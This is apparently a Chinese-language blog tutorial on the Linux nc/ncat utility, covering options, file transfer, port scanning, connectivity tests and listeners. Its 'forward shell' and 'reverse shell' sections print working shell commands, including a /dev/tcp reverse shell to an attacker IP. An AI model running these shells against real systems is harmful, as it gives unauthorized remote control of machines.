Linux命令篇 - nc(ncat) 命令

nc (ncat)

Ncat is a feature-packed networking utility which reads and writes data across networks from the command line;

nc(ncat):Ncat是一個功能豐富的網絡實用工具;支持端口監聽、遠程通信、文件傳輸、端口掃描、反向Shell、端口轉發功能;

格式:ncat [OPTIONS...] [hostname] [port]

常用參數:

OPTIONS 意義
-l 使用監聽模式,意味着nc被當作server,偵聽並接受連接,而非向其它地址發起連接
-p 設置本地主機使用的通信端口
-s 設置本地主機送出數據包的IP地址
-u 使用UDP傳輸協議
-v 顯示指令執行過程
-w 設置等待連線的時間
-z 使用0輸入/輸出模式,只在掃描通信端口時使用

ncnetcatncat區別:

  • nc與netcat是一個組件,ncat是nmap分支下的一個命令;
  • nc / ncat 在CentOS 上是同一個命令工具,是一個功能豐富的網絡實用程序,可通過命令行在網絡上讀寫數據;
  • 使用 ncat 時,儘量不要使用 nc,避免與 netcat 衝突;
  • 若安裝了ncat時,nc、netcat都成了ncat的alias,命令行裏輸入這三者都是一樣的;
  • netcatncat-z參數是不相等的;
  • 可通過rpm -qa|grep nc命令,查看nc是指netcat還是ncat;
  • Ncat是在原始Netcat之上新增功能二次開發的另一款強大工具,也就是說Netcat有的功能Ncat都具備,並且Ncat還有更多強大的功能。

參考案例:

  • 掃描80端口
# nc可用ncat代替
$ nc -nvv 192.168.3.1 80
  • 遠程通信
# ncat 命令在20000端口啓動了一個tcp 服務器,所有的標準輸出和輸入會輸出到該端口;
# 輸出和輸入都在此shell中展示
Server$ nc -l 20000

Client$ nc Server-IP 20000
  • 文件傳輸
# 從Client傳輸文件到Server
# 需要在Server上使用nc監聽,server上運行監聽命令;
Server$ nc -lp 12345 >> test.log
# Client運行傳輸命令
Client$ nc -w 1 Server-IP 12345 < xxx.log

# 從Server傳輸文件到Client
# 需要在Server上使用nc監聽,server上運行監聽命令;
Server$ nc -lp 12345 < test.log
# Client運行傳輸命令
Client$ nc -w 1 Server-IP 12345 > xxx.log
  • 目錄傳輸
# 從Client傳輸文件到Server上;需要在Server上使用nc監聽,server上運行監聽命令;
# tar zxvf -  通過tar zxvf解壓,從管道接收到的數據,`-`表示從管道接收數據;
Server$ nc -l 23456|tar zxvf -

# tar zcvf -  通過tar zcvf壓縮,將目錄`Directory`壓縮後傳輸到管道中;`-`表示輸出到管道中;
Client$ tar zcvf - Directory | nc Server-IP 23456
  • 抓取Banner信息
# 一旦發現開放的端口,可以容易的使用ncat 連接服務抓取他們的banner
$ nc -v 172.31.100.7 21
  • 正向Shell

正向shell是指攻擊機主動連接靶機,並取得shell。通俗點說就是靶機自己綁定某個端口,等攻擊機連接後將收到的數據給bash或cmd(後文簡稱shell),執行結果再丟給攻擊機。

# 正向shell是目標機(被攻擊方)先執行nc命令,然後攻擊機(攻擊方)上再進行nc連接,即可反彈shell
# 正向shell需要目標機安裝nc
# 正向shell 需要目標機firewalld可過濾


# target: 目標服務器系統(被攻擊方)
target$ nc -lkvp 7777 -e /bin/bash

# attack: 攻擊者系統(攻擊方)
attack$ nc Target-IP 7777
  • 反向shell

反向shell就是靶機帶着shell來連攻擊機,好處顯而易見就是不用擔心防火牆的問題了,當然也不是沒有缺點;缺點就是攻擊機的IP必須能支持靶機的主動尋址,換句話來說就是攻擊機需要有公網IP地址;舉個例子如攻擊機是內網ip或經過了NAT,靶機是公網IP,即使取得了命令執行權限靶機也無法將shell彈過來,這是網絡環境的問題。

# attack: 攻擊者系統(攻擊方)
# -k: 當客戶端從服務端斷開連接後,過一段時間服務端也會停止監聽;通過選項 -k 可以強制服務器保持連接並繼續監聽端口;即使來自客戶端的連接斷了server也依然會處於待命狀態;
attack$ nc -lkvnp 6677

# target: 目標服務器系統(被攻擊方)
# -i: 指定斷開的時候,單位爲秒
Client$ sh -i >& /dev/tcp/192.168.188.69/6677 0>&1
  • 測試網速
# 服務端
Server$ nc -l <port> > /dev/null

# 客戶端
Client$ nc Server-IP <port> < /dev/zero
  • 測試連通性
# 測試tcp端口連通性
# nc -vz ip tcp-port
$ nc -zv 192.168.188.188 5432
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.188.188:5432.
Ncat: 0 bytes sent, 0 bytes received in 0.01 seconds.

# 測試udp端口連通性
# nc -uvz ip udp-port
$ nc -uzv 192.168.188.188 7899
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.188.188:7899.
Ncat: Connection refused.
  • 端口監聽
# 臨時監聽TCP端口
# nc -l port >> filename.out 將監聽內容輸入到filename.out文件中
$ nc -l 7789 >> a.out

# 永久監聽TCP端口
# nc -lk port
$ nc -lk 7789 >> a.out

# 臨時監聽UDP
# nc -lu port
$ nc -lu 7789 >> a.out

# 永久監聽UDP
# nc -luk port
$ nc -luk 7789 >> a.out

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章